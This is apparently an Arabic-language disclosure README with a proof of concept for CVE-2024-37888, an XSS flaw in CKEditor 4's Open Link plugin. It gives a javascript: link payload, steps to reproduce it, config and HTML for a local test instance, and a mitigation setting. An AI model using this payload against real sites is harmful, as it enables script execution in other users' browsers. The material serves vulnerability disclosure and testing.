
XSS PoC/استغلال لملحق Open Link في CKEditor 4
يوثّق هذا المستودع تفاصيل الثغرة الأمنية واستغلالها الخاصة بـ CVE-2024-37888 التي اكتشفها وأبلغ عنها Anurag Mondal (7Ragnarok7) في 21 مايو 2024.
يوضّح هذا الإثبات للمفهوم (POC) استغلال ثغرة XSS اكتشفتها مؤخرًا في إضافة Open Link التي تؤثر عند تفعيلها بشكل مباشر على جميع إصدارات CKEditor 4. تتيح هذه العيب تنفيذ JavaScript عبر روابط مصممة بعناية داخل المحرر، والتي تفشل الإضافة في تعقيمها. يمكن استغلال هذا العيب داخل منطقة النص فقط عند تثبيت إضافة Open Link. تتيح لنا إضافة Open Link فتح الروابط مباشرة داخل منطقة التحرير.
يمكن اختبار هذه الثغرة الأمنية من نسخة CKEditor المُهيأة مسبقًا الموجودة هنا.
إدراج الحمولة:
افتح نسخة CKEditor وانقر على أيقونة "Source".
أدرج الحمولة التالية في منطقة النص:
<a href="javascript:alert('XSS Found')">XSS</a>

التبديل إلى وضع WYSIWYG:

تفعيل XSS:

يمكنك إعداد نسخة محلية خاصة بك لاختبار هذه الثغرة الأمنية باتباع الخطوات أدناه.
تنزيل CKEditor 4:

تثبيت إضافة Open Link:
ckeditor/plugins/openlink.
تحديث التكوين لتضمين إضافة OpenLink:
config.js الخاص بـ CKEditor بإضافة الأسطر التالية إلى النهاية:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
تضمين CKEditor في HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

تم اكتشاف هذه الثغرة في قاعدة شيفرة إضافة Open Link وليس في قاعدة شيفرة CKEditor 4. يُظهر إثبات المفهوم أعلاه استغلال ثغرة XSS عبر إضافة Open Link في CKEditor 4.*.*. يسمح هذا العيب بتنفيذ تعليمات JavaScript عشوائية عبر روابط مصممة خصيصًا، مما يشكّل خطرًا أمنيًا كبيرًا.
config.disallowedContent = 'a[onclick]';